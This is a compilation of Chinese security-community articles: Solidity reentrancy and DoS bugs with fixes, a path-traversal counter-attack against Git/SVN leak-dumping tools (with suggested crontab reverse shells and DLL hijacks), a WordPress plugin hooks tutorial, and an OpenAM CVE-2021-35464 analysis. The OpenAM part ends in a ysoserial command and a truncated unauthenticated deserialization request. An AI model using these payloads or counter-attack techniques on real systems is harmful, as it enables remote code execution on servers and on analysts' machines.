根据代码我们能够发现，由于用户的余额并没有在执行if判断前被设置为0，所以之后的第二次函数回调可以一遍一遍的提取余额，直到系统中的以太币被提取完或者Gas值用尽。根据我们的分析，曾经的DAO事件就是由于此原因而产生的。[区块链安全—THE
DAO攻击事件源码分析](https://xz.aliyun.com/t/2905)
倘若我们要修复这个问题，那么最好的办法就是使用`send()`来代替`call.value()()`。这会阻止任何外部代码的执行。然而，如果你不能够全面禁止外部函数的调用（事务需要），那么为了安全考虑，你就要保证你在函数执行完之前不进行外部函数调用。
mapping (address => uint) private userBalances;
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
userBalances[msg.sender] = 0;
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; } //
用户的余额提前被设置为0，所以回调函数再次执行此函数将无法提取任何东西。
}
#### 2 多函数调用模型
在上文中，我们介绍了单个函数的用法，而单函数直接的调用十分有限。在真实项目的代码中，大多都是多个函数代码互相调用。下面我们就看一看相关实例。
mapping (address => uint) private userBalances;
function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; } // 此时，调用者代码执行，并且调用transfer()函数
userBalances[msg.sender] = 0;
}
在例子中，攻击者在执行到`withdrawBalance()`函数中的if语句时，回调了`transfer()`函数。由于`userBalances[msg.sender]
= 0`语句仍未执行，所以攻击者的余额没有被系统设置为0，也就是说攻击者仍然可以在提前钱的基础上再次提取。
上面的函数存在于一个合约中，然而我们的攻击并不仅限于此。多个合约中的函数直接也是可以进行互相调用。
#### 3 多合约函数调用
由于这些相互调用的方法存在于单函数、多函数、多合约函数中，所以一些防范手法都是不安全的。
例如：
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;
function withdraw(address recipient) public {
uint amountToWithdraw = userBalances[recipient];
rewardsForA[recipient] = 0;
if (!(recipient.call.value(amountToWithdraw)())) { throw; }
}
function getFirstWithdrawalBonus(address recipient) public {
if (claimedBonus[recipient]) { throw; } //每一个接受者在接收转账前都要提前进行声明操作
rewardsForA[recipient] += 100;
withdraw(recipient);
getFirstWithdrawalBonus again.
claimedBonus[recipient] = true;
}
即使`getFirstWithdrawalBonus()`函数不能直接调用外部合约，但是它内部具有`withdraw()`函数可以调用。所以也就意味着，我们可以通过函数1调用函数2，并且由函数2中的回调函数进行恶意操作。
所以如果我们想要对这些函数进行修复，那么我们应该先将变量声明为true，之后再调用函数。
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;
function untrustedWithdraw(address recipient) public {
uint amountToWithdraw = userBalances[recipient];
rewardsForA[recipient] = 0;
if (!(recipient.call.value(amountToWithdraw)())) { throw; }
}
function untrustedGetFirstWithdrawalBonus(address recipient) public {
if (claimedBonus[recipient]) { throw; } // Each recipient should only be able to claim the bonus once
claimedBonus[recipient] = true;
rewardsForA[recipient] += 100;
untrustedWithdraw(recipient); // claimedBonus已经被设置为TRUE，所以重入攻击失败
}
#### 4 互斥量设计模式
为了防御重入攻击，我们可以这样进行分析：因为我们针对一个用户只能进行一次提取操作。而为了将这一次提取操作锁定，我们可以进行联想。我们会发现在OS领域中有PV操作这么一说，也就是对这个资源添加互斥锁。
增加互斥锁后，我们就可以锁住一些资源，并且只能在解除互斥锁后才能调用函数。下面我们看一个简单的例子：
mapping (address => uint) private balances;
bool private lockBalances;
function deposit() public returns (bool) {
if (!lockBalances) {
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}
throw;
}
function withdraw(uint amount) public returns (bool) {
if (!lockBalances && amount > 0 && balances[msg.sender] >= amount) {
lockBalances = true;
if (msg.sender.call(amount)()) { // 这个地方容易出现问题，但是我们这里使用了互斥锁，所以可以进行保护
balances[msg.sender] -= amount;
}
lockBalances = false;
return true;
}
throw;
}
这种思想类似于操作系统的概念。当用户执行`withdraw
()`函数的时候，我们首先会对全局变量`lockBalances`进行判断，倘若其为True，则可以进一步执行，否则就不允许进入。（在`deposit
()与withdraw ()`中，我们有`lockBalances = true;balances[msg.sender] +=
msg.value;lockBalances = false;`。这也保证了互斥的进行。）
原理如下图：
如果用户在第一次函数执行未结束之前又执行了一遍`withdraw ()`，那么会被信号量挡在外面。
然而，这个防御措施虽然看起来万无一失，但是他在多合约合作的模型下却有一些绕过技巧。
我们看下面的代码：
contract StateHolder {
uint private n;
address private lockHolder;
function getLock() {
if (lockHolder != 0) { throw; }
lockHolder = msg.sender;
}
function releaseLock() {
lockHolder = 0;
}
function set(uint newState) {
if (msg.sender != lockHolder) { throw; }
n = newState;
}
}
攻击者可以首先调用`getLock()`函数，然后不进行`releaseLock()`函数的调用。如果这么做，那么合约将会被永远的锁住。所以倘若要使用互斥量去保护你的系统，那么工程师需要确保这种锁住无法被打开的情况。
### 三、Throw—区块链安全核心问题
我们经常在编写函数的时候添加判断语句，并在判断语句后添加终端语句，例如throw，return等。
下面我们看一个代码例子：
contract Auction {
address currentLeader;
uint highestBid;
function bid() {
if (msg.value <= highestBid) { throw; }
if (!currentLeader.send(highestBid)) { throw; }
currentLeader = msg.sender;
highestBid = msg.value;
}
}
倘若一个新的节点想选举成为新的leader时，新节点需要向老节点`Send()`一些手续费，倘若判断失败后则throw掉。
然而这也意味着倘若一个恶意节点成为一个leader，并且会使用一些恶意的手段使自己失去联系。使用这种方法，他们能够阻止任何人调用`bid()`方法，也就是说如果有人使用了`if
(!currentLeader.send(highestBid)) { throw;
}`函数，那么由于leader的不在而导致send函数失败，也就是所有想成为新leader的人都无法转账。
除此之外，我们还有另一种函数有相同的情况。此类函数中会向多个用户支付佣金，他们需要确保每一个用户都收到钱才能保证函数成功。而这时问题就来了，倘若其中有部分用户是恶意节点会出现什么情况？这样会影响整个系统的执行，也就意味着一个节点不成功，那么久会进行回环运行，也就说明函数转账无法成功。
address[] private refundAddresses;
mapping (address => uint) public refunds;
// bad
function refundAll() public {
for(uint x; x < refundAddresses.length; x++) { // 此函数觉得了要转账对象的数目
if(refundAddresses[x].send(refunds[refundAddresses[x]])) {
throw; // 倘若有一个节点转账失败，那么就会阻塞所有节点
doubly bad, now a single failure on send will hold up all funds
}
}
}
然而，我们根据上文会发现，我们在函数中进行了循环转账。而根据以太坊的知识，循环转账需要我们消耗大量的Gas值，而倘若转账的用户数目过多，也就说明我们将消耗超出承受的Gas值。这样会导致我们的交易失败。
如果攻击者能够操控Gas值的量，例如我们上述的代码中所述的那样。攻击者倘若增加了地址函数的数量，即使每一个地址函数消耗的Gas值很少，但是其综合也是十分巨大的，总会超过限制。如果你的代码中涉及到必须进行循环的部分，并且对循环部分无法估计其大小，那么你需要记录你循环的次数，并对其进行计算、判断。例如下面的函数：
struct Payee {
address addr;
uint256 value;
}
Payee payees[];
uint256 nextPayeeIndex;
function payOut() {
uint256 i = nextPayeeIndex;
while (i < payees.length && msg.gas > 200000) {
payees[i].addr.send(payees[i].value);
i++;
}
nextPayeeIndex = i;
}
只有在while函数中增加了`msg.gas > 200000`这种判断，才能保证在Gas值超过限度后跳出循环。
// bad
contract auction {
address highestBidder;
uint highestBid;
function bid() payable {
require(msg.value >= highestBid);
if (highestBidder != address(0)) {
highestBidder.transfer(highestBid); // if this call consistently fails, no one else can bid
}
highestBidder = msg.sender;
highestBid = msg.value;
}
}
// good
contract auction {
address highestBidder;
uint highestBid;
mapping(address => uint) refunds;
function bid() payable external {
require(msg.value >= highestBid);
if (highestBidder != address(0)) {
refunds[highestBidder] += highestBid; // record the refund that this user can claim
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawRefund() external {
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
msg.sender.transfer(refund);
}
}
### 四、总结
在上文中，我们对重入问题进行了详细的分析，包括了重入问题的简单函数、多函数、多合约函数等等。并且在后面交代了使用互斥量进行把控的方法。之后我们又对`throw`函数进行了代码分析，包括了一些安全模块的分析。下面我们给读者总结一些方法便于开发人员对编程函数更好的理解。
我们在编写合约的时候，可以有意的参照下面的方法进行。
* 首先，我们需要检查所有的预先条件。
* 然后尝试改变合约的状态。
* 之后将本合约与其他合约进行交互，相互作用。
我们按照“条件、行动、相互作用”这种模式进行函数的结构设计将避免很多的问题。我们看一个例子：
function{
//条件
if(now <= a + b) throw;
//行动未结束
if(ended) throw;
//函数被调用过，跳出
ended = true;
ActionEnded(highestBodder , highestbid);
//函数调用，相互作用
}
### 五、参考资料
* 1 <https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls>
* 2 <https://paper.seebug.org/603/>
* 3 <https://xz.aliyun.com/t/3364#toc-4>
* 4 <https://github.com/ethereum/wiki/wiki/Safety#race-conditionssupa-hreffootnote-race-condition-terminology%5Casup>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
**作者：DriverTom
原文链接：<https://drivertom.blogspot.com/2021/08/git.html>**
## 0x00 关于本文
是的没错我又去蹂躏安全工具了，和以前我单个单个地欺负不同，这次发现的攻击手段是通用的，可以通杀大部分源码泄露漏洞利用程序。
本文会包含常见泄露漏洞的原理介绍（Git/Svn），利用工具自身的安全风险分析，简单易懂的POC制作方式，针对常见工具的攻击测试，以及提升反制威力的方法及展望。
## 0x01Git泄露：漏洞原理介绍
Git是什么大家应该都很清楚（不知道Git是啥的人多半是不肯来光临这个博客的）
有些开发人员直接把代码clone到服务器的web目录来部署，但是开发人员或许不知道的是，clone下来的不只是代码，还有一个.git目录，这个目录被叫做版本库。攻击者可以通过访问这个目录，解析其中的文件，dump整站源码。
想要更深入地理解Git泄露漏洞，了解攻击流程，就需要了解.git目录的结构
tree一下这个目录，发现内容如下
index文件中包含了这个项目中的各个文件的信息，包括文件路径和Git对象的对应的40位哈希值。在这里我们不需要对Git对象理解的很深入，只需要知道里面包含了文件内容，是让攻击者垂涎欲滴的东西就可以了。
想要拿到Git对象，就需要转去objects目录。objects目录存放了所有的git对象，对于一个git对象，40位哈希的前两位会作为目录名，而后面的38位会作为文件名，存在objects下面。举个例子，一个Git对象那个的hash是cb75d8439f004f41d5f85ffa5f8d017df395651a，那么它就会被存在cb/75d8439f004f41d5f85ffa5f8d017df395651a。
知道了这些信息之后，就可以知道Git泄露攻击是如何进行的了，首先攻击者访问index文件，解析后得到文件名和对象哈希。接着按着对象哈希一个一个去objects目录获取到Git对象，解析后得到文件。
## 0x02 Git泄露利用工具的安全风险
显而易见的，手动解析index文件并去下载然后再去解析Git对象是一项烦人又重复的活，因此有大量的工具被开发出来解放黑客们的双手。这些工具可以将整个攻击流程自动化，自动下载项目的所有文件，并且重建整个项目的目录结构。
但是在这个过程中存在一个严重的安全风险，这些工具在重建项目的目录结构的时候，往往没有考虑到路径穿越风险，而是直接将目录连接起来，因此通过创建恶意的git目录可以在攻击者的磁盘中写入任意文件，实现远程代码执行！
## 0x03 简单易懂的POC制作方式
直接用git工具制作POC是不可行的，它会提示文件在仓库之外
好在有个叫做GitPython的库不关心这个问题，因此可以用GitPython来生成POC。
首先在仓库外的某个目录放一个文件，该文件会写入到攻击者的电脑上的相同路径。
接着打开python，用GitPython将其加入项目中然后commit，注意，要用../../../(很多个../)加上文件的绝对路径的方式来加入。
在下图生成的POC中，POC只是为了证明可以写到非预期目录，只加了一个../
在执行完了后，整个git项目的文件夹就成了蜜罐
## 0x04 对常见工具的测试
为了试验该手段的通用性，使用常见工具对蜜罐进行测试，以文件是否成功写入到非预定目录为判断标准。
一个成功的例子如图，dumpall工具将tohacker.txt写到了预期目录192.168.208.190_None之外。
测试结果如下表所示
工具名称 | 工具地址 | 攻击是否成功
---|---|---
GitHack | <https://github.com/lijiejie/GitHack> | 是
GitHack | <https://github.com/BugScanTeam/GitHack> | 是
dumpall | <https://github.com/0xHJK/dumpall> | 是
GitHacker | <https://github.com/WangYihang/GitHacker> | 是
dvcs-ripper | <https://github.com/kost/dvcs-ripper> | 否
git-dumper | <https://github.com/arthaud/git-dumper> | 是
在测试的工具中，除了dvcs-ripper外全部攻击成功（dvcs-ripper失败原因还没分析），证明了该反制手段的通用性
## 0x05 Svn泄露原理
Svn和Git类似，也是一种版本管理工具。
有些开发人员在部署的时候偷懒，没有通过”export“的方式将代码导出，而是直接拷贝目录，导致下面的.svn文件夹也被拷贝了。（嗯，和Git泄露如出一辙啊）
和Git不同，Svn的泄露有两种可能的情况。
当Svn版本小于1.6的情况下（也有说1.7的，没试），.svn文件夹中的entries会以明文存储目录和文件信息。其中包含了文件名，这个时候访问/.svn/text-base/文件名-.svn-base就可以拿到文件。
当Svn版本更高的情况下，.svn文件夹中的entries不会包含目录和文件信息，攻击者首先需要访问/.svn/wc.db文件，这个文件是个sqlite3数据库，其中的Node表中包含了文件的信息，包括文件名和哈希等。在获取到这些信息后，访问/.svn/pristine/哈希的前两位/哈希.svn-base即可访问到文件。举个例子，有一个文件对应的哈希是a94a8fe5ccb19ba61c4c0873d391e982fbbd3，
那其路径为/.svn/pristine/a9/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3.svn-base。
## 0x06 简单易懂的POC制作方式
针对低版本的Svn，我抄袭了[这里](http://ptrc.emrtc.nmt.edu/images/sidebar/.svn/)的格式，使得POC如下图所示。首先entries的开头为"10"，表示自己是个低版本的Svn的文件，接着按照之前写Git的POC的方式写个恶意的文件路径，然后空行写个"file"，以此表明上面写的路径是个文件，最后把文件放在对应的Web目录以便于扫描器去下载。
高版本的Svn有些复杂，于是我找了个[网站](https://svnbucket.com/)来生成Svn项目，并用TortoiseSVN添加文件再checkout到目录中，这个时候就可以看到.svn目录了。接着再用SQLite编辑工具编辑目录中的wc.db中的Node表，更改文件目录为恶意路径。最后再如法炮制放置文件即可
## 0x07 对常见工具的测试
测试的方式和标准与测试Git泄露利用工具的标准一致，但是优先测试低版本的泄露，如果低版本的泄露无效再测试高版本的（人都是懒惰的），测试结果如下表所示
工具名称 | 工具地址 | 攻击是否成功
---|---|---
svnExploit | <https://github.com/admintony/svnExploit> | 是
SvnHack | <https://github.com/callmefeifei/SvnHack/> | 是（必须放在根目录）
Seay-Svn | <https://github.com/Introspelliam/tools/> | 是
dumpall | <https://github.com/0xHJK/dumpall> | 是（只支持高版本）
svn-extractor | <https://github.com/anantshri/svn-extractor> | 是 （只支持高版本）
dvcs-ripper | <https://github.com/kost/dvcs-ripper> |
否（跑不起来且不想跑,perl写的东西没一个用着省心的）
在测试的工具中，除了dvcs-ripper外全部攻击成功（这玩意跑都跑不起来），证明了该反制手段的通用性
## 0x08如何提升杀伤力的
如果只是在非预期的目录写一个文件的话并不能达成反制效果，因此有如下几种方法可以参考使用（未经测试仅供参考）：
1. 对于类unix系统可以写入crontab，增加定时任务，反弹shell回来
2. 对于Windows系统可以写入开始菜单启动项，或者dll劫持
3. 可以把攻击工具的脚本给替换掉，下次执行就能上线
除此之外，可以通过发来的包的TTL值判断操作系统(Windows默认是128，Linux是64或者255)，实现更精准的反制
## 0x09展望
很显然，这种手法不只适用于Git/Svn泄露的利用程序，什么DS_STORE，Java任意文件下载利用，估计都跑不了。
* * * | 社区文章 |
[TOC]
### 1.关于此系列文章
>
> WordPress插件漏洞挖掘系列文章流程大概为：简单了解插件结构-》尝试开发第一个插件-》插件漏洞的一次复现-》插件漏洞挖掘首尝试，在这系列文中对于有PHP基础的基本没什么压力，但是没有PHP基础也不要方，只要看到不明白的函数或者关键字网上搜一下，然后通过上下文关联基本上就可以得知该行代码做了什么操作。有什么用途了，由于这系列以挖洞为主，所以涉及到开发方面的知识点就不过多介绍。
**由于对WordPress以及插件运行流程所拥有知识点并没那么透彻，因此本文中可能会存在错误地方，还望各位师傅可以指出，感谢包容。**
* * *
### 2.前言
> 在挖掘一套程序的插件漏洞，首先得先了解下插件在这套程序中的一个流程是怎么样的，入口点、挂载点、系统函数等信息。
* * *
### 3.插件简单介绍
#### 3.1.插件目录结构
正常来说无论是开发程序还是开发程序的插件，有开发经验的开发者都是会遵循开发所需的原则，比如：命名规范、以及目录结构格式等，这样一来也是更加可以清晰的看懂插件的对应代码。
WordPress插件是存储在：`/wp-content/plugins`文件夹内，`plugins`里面每个文件夹则为一个插件，只要下载下来的插件默认都会存储在这个位置：
比如创建一个插件名字为`test-plugin`，那么插件主文件就可以起为`test-plugin.php`，插件中可能会引用到一些：`js`、`css`、`image`资源文件或者其它`PHP`文件，那么这个时候就可以在插件文件夹里面在创建新的文件夹存储这些资源、代码文件，最后再将整个插件文件夹存储至：`/wp-content/plugins/` 即可，正常来说开发者都会把插件文件夹名字起的与插件主文件名字相同，当然这个是因人而异，问题不大。
无论开发程序还是插件的时候都应该架构一个良好清晰的目录结构， 比如上述所说开发插件所需要的资源文件等，都可以分开存储，这样一来目录结构则更加简洁可观，如：
test-plugin
|----include
| |----js
| |----css
| |----xxxx.php
|----image
|----wp-test-plugin.php
|----uninstall.php
|----settings.php
|----readme.txt
在`wordpress`中绝大部分插件的目录结构基本上会有以上述所呈现的样子。只有可能资源文件存放位置不同，但是插件主文件`(wp-test-plugin.php)`、插件卸载文件`(uninstall.php)`、插件设置文件`(settings.php)`基本上都是标配，但是不排除一些插件是没有卸载与设置文件的，而`readme.txt`文件是在开发者想将插件提交至`WordPress`官方的话那么这个是得创建的，这里面的内容是作为说明的作用，里面可以说明插件功能、安装等使用说明信息。
* * *
#### 3.2.插件命名
在开发插件编写函数的时候在函数名或者插件名前加一个不容易重复的前缀是很有必要的，一套程序中插件有无数，因此起名也成为了头痛的事情，因为只要起的通用一点的名字分分钟就重复。一重复就报错，然而就GG了，一顶要有唯一性。
* * *
### 4.WordPress插件钩子(挂载点) * 重要
#### 4.1.插件钩子介绍
钩子`(hooks)`在`WordPress`插件中起到重要的作用，主要做些什么呢？其实就是说在你插件流程运行到某个特定的地方的时候就会调用当前与钩子有关联的函数，也就是这些钩子可以实现不改变`WordPress`核心功能对原有功能进行改变。
举个例子，比如我在某个帖子内提交一条评论留言，在原有评论功能里是没有评论有回复则邮件发送给评论者进行提示，那么这个时候就可以开发一个插件，并且运用到钩子`(hooks)`也就是挂载点，那么我们就可以将函数与事件进行绑定，绑定完成之后，只要程序流程运行走到这个事件，那么就会触发挂载点，也就是调用所绑定的函数。
* * *
#### 4.2.插件钩子类型
##### 4.2.1.动作钩子
动作钩子就是我们上面介绍所说的类似，运行到某个指定地方，就会被执行的一种插件钩子。
动作钩子对应的使用方法为：`add_action ('事件','函数名')` 该函数共有4个参数，最后两个都有默认值，正常情况不必填写，默认即可。
* 事件：可以为`WordPress`内置调用`do_action()`定义的一些动作事件，可自行定义，官方上有发布对应版本可用的钩子列表，这里也可以是主题或者插件内的一个动作事件。
* 函数名：当钩子生效时调用的函数，可以是自己在插件内定义的函数，也可以是`PHP`或者`WoredPress`内置函数。
用法如下：
function lock_article($post_id)
{
//比如这个定义的函数是在发布文章的时候自动加上锁
}
add_action('publish_post','lock_article');
这个时候，只要流程运行到了`publish_post`事件动作，那么就会触发`lock_article`函数
* * *
##### 4.2.2.过滤器
这种类型只要用于修改发送出去或者保存的数据，可以通过过滤器在运行到某个地方的时候对传输进来的数据进行操作。
过滤器对应的使用方法为：`add_filter ('事件','函数名')` 该函数共有4个参数，最后两个都有默认值，正常情况不必填写，默认即可。
* 事件：可以为官方提供的过滤器钩子，也就是经过`apply_filters()`进行定义的钩子，可自行定义，决定了何时执行过滤器。
* 函数名：当过滤器钩子生效的时候调用的函数，可以是一个PHP内置函数，一WordPress核心函数，或者是自己在插件文件中定义的函数。
用法如下：
add_filter( 'wp_title', 'test_filter_title');
function test_filter_title($title)
{
//过滤标题某个字符或者其它操作
}
那么只要在流程中执行了传递以及处理数据，并且走到了`wp_title`这个过滤钩子的话，就会直接`test_filter_title`函数，对原有的数据进行处理。
* * *
##### 6.2.3.钩子类型简单总结
其实两种类型道理都是一样，运行到指定地方，做指定的事情，也就是实现了不更改程序核心代码从而修改功能流程。
注意：自己定义的函数以及钩子调用必须保存在同一个文件中。
`add_action`与`add_filter`的最后两个参数分别是：优先级(默认10)，以及钩子接收的参数数量(默认1)
如果你发现你的钩子与其它插件或者其它代码起冲突，这个时候就可以使用`remove_action`或者`remove_filter`进行移除钩子，也是差不多的用法，在特定的时候移除掉，就是在特定的钩子事件的时候不执行。
* * *
### 5.总结
开发插件涉及到的内容并没有以上那么少，但是必须知道的都在上面已经讲到，有些东西得配合插件开发一起讲才能更加清晰的理解，所以在下一篇中，所分享的内容可能会略多一点。
>
> 当你看到这里的时候，如果上文所描述的内容你觉得没压力，能消化的话，那么很高兴的告诉你，你已经可以成功开发一款简单的`WordPress`插件啦，那么在下一篇文中让我们一起走进`WordPress`插件开发的世界吧。
> 当然，如果你看完之后感觉有点理不清也没关系，相信你看完下一篇插件开发实例之后在回来看这一篇文，相信你会看的更加透彻。
其实挖程序漏洞与挖程序插件漏洞是没有区别的，本质上都是一样，唯一区别就是危害性，挖插件漏洞主要就是看挖的插件安装人数多不多，但是漏洞的危害性还是一样的，如某个公开的插件漏洞一样： | 社区文章 |
# ForgeRock OpenAM RCE（CVE-2021-35464）分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞描述
2021年6月30日，国外安全研究人员披露了ForgeRock
AM远程代码执行漏洞，漏洞编号为CVE-2021-35464。攻击者可在无需认证的情况下，通过构造特殊的请求，触发反序列化，从而执行任意代码，接管运行ForgeRock
AM的服务器。本文从漏洞挖掘的角度分析其中的技术细节，也将公开一些其他的反序列化点。
## 0x02 环境搭建
### 0x1 Docker 搭建
直接使用官方提供的docker资源进行搭建，并开启调试环境
docker run -d -p 7080:8080 -p 5005:5005 --name openam openidentityplatform/openam:14.6.2
docker run -d -p 1389:1389 -p 1636:1636 -p 4444:4444 --name ldap-01 openidentityplatform/opendj
### 0x2 添加依赖
向IDEA中添加依赖
### 0x2 开启调试
官方提供的Docker 容器不是root权限的用户，里面也没有sudo指令，我们要想办法把权限提升到root才能有机会开启调试配置
openam@6eb4404f536b:/usr/local/tomcat$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
openam:x:1001:0::/home/openam:/bin/sh
通过查看/etc/passwd文件得知openam用户的uid为1001，我们将其强制性修改成0，并利用docker
cp指令进行替换，效果如下安装一些必要的软件vim等
看目录像是tomcat起的，所以开启调试就很明确了，找打catalina.sh添加调试信息，添加此行配置
显示Connected则连接成功
## 0x03 漏洞挖掘
按照漏洞挖掘者的原话，分析web.xml中的每一个servlet，认真梳理其中的处理逻辑，跟着这个思路走，确实可以找到这个漏洞的路由，但是这样正向分析起来工作量巨大。但如果实现知道危险函数所在的文件及函数会更方便漏洞挖掘工作。针对这个漏洞来讲，我们只需要搜索readObject关键字就能找到这个漏洞点。
首先将WEB-INF/lib目录下的jar包全部解压
直接在命令行中搜索关键字readObject，会有搜索到很多相关的class文件
尝试打开其中的几个文件
openam-shared-14.6.3/org/forgerock/openam/utils/IOUtils.class
,该文件中存在deserialise函数，但是在反序列化的时候有白名单，因此寻找下一个类。
关于这个路由的分析统一放在漏洞路由分析中讲解。
下一个匹配到的class是 jato-14.6.3/com/iplanet/jato/util/Encoder.class
再次搜索关于Encoder类的调用，可以找到几个相关联的类，因为分析过以下几个代码，所以这里直接看ViewBeanBase代码中的逻辑。
ViewBeanBase.class代码如下
找到反序列化的入口后有两个问题需要我们解决
* 如何找到触发漏洞的路由
* 如何编写反序列化利用链
下面主要围绕这两个问题进行分析。
## 0x04 漏洞路由分析
如何才能通过前端访问触发该漏洞呢，这还是要结合着web.xml进行分析，在这个xml文件中定义了很多servlet，很多URL与之对应着。
### 0x1 xml分析
通过分析Servlet后，找到了感兴趣的Servlet，比如这里以TaskServlet为例
## 0x2 请求处理
TaskServlet继承ConsoleServletBase，对前端发送来的请求是父类的父类做的处理.
可以清楚的看到ConsoleServletBase继承ApplicationServletBase。
ApplicationServletBase中包含get和post请求方法的响应代码，最后都会调用processRequest进行统一处理。
至此我们分析到了第一层请求处理逻辑，剩下还有很多路要走，先来看一下openAM怎么对路由进行权限校验的。
### 0x3 权限校验
通过分析ApplicationServletBase的processRequest处理函数，该函数在处理请求期间调用了fireBeforeRequestEvent函数，并且这个函数最终会调用onBeforeRequest函数。
TaskServlet的父类ConsoleServletBase中有对onBeforeRequest的实现，并且在里面做了权限校验。validateSSOToken里校验了token的是否合法。
### 0x4 未认证路由
那么是不是存在一个路由的onBeforeRequest没有校验token呢，通过对每个servlet进行分析，确实找到了不同于ConsoleServletBase父类的类TagsServletBase。该servlet对应的路由为/ccversion/*
那么它到底特殊在什么地方呢？通过查看代码可以得知在父类ApplicationServletBase之前的子类都没有实现onBeforeRequest方法，这就使得在调用onBeforeRequest方法时实则调用了ApplicationServletBase里的方法，然而ApplicationServletBase里onBeforeRequest方法是空函数。
那么这个检验就可以轻易绕过了。
### 0x5 动态分发
分析到这都是静态路由在处理，openAm在处理请求的时候大部分采用的动态Bean调用，我们一起来看看到底是怎么实现的。
主要观察上面代码的381行和384行，通过getViewBeanInstance获取到pageName对应的Bean实例，再用dispatchRequest方法将其分发，分发时执行的函数为forwardTo。
问题是怎么获取到这些Bean实例的，我们通过动态调试的方式一起分析下。
getViewBeanInstance函数会调用getLocalViewBean函数去查找并生成viewBean
getLocalViewBean函数就比较有意思，利用getHandlingServlet获取当前线程运行的Servlet，判断是否allowShortViewBeanNames字段之后进入if
else分之，getBasePackageName函数会获取调用者的包名，这里的调用者是VersionServlet其包名为com.sun.identity.console.version。
getViewBeanByClassName会通过字符串的形式动态的加载类到内存中，但在加载之前会先判断有没有实例已经生成，如果有的话就会在nameInstanceMap中匹配到，就不需要通过Class.forName的方式去动态生成了。
因此这个ViewServlet路由最终会调用执行com.sun.identity.console.version包下的*ViewBean代码，这也就和之前的漏洞点串起来了，剩下的只需要考虑下如何进行利用了。
## 0x05 漏洞利用分析
再次回顾下此次漏洞点，通过Encoder.decodeHttp64函数进行解码后，传递给Encoder.deserialize函数进行反序列化，反序列化代码逻辑处没有过滤，我们可以在项目中的jar包里搜索可利用的利用链。
this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
从项目的lib目录中发现的几个ysoserial中用来构造反序列化的jar包版本都对应不上，这就意味着要重新寻找个反序列化利用链。关于怎么找链以及怎么构造ysoserial
Click1利用链，我打算开篇新的文章记录下。
### 0x1 生成利用链
在进行漏洞利用的时候暂且直接使用集成在ysoserial工具里的Click1利用链。
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "touch /tmp/xx" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
### 0x2 构造数据包
GET /openam/ccversion/Version?jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0U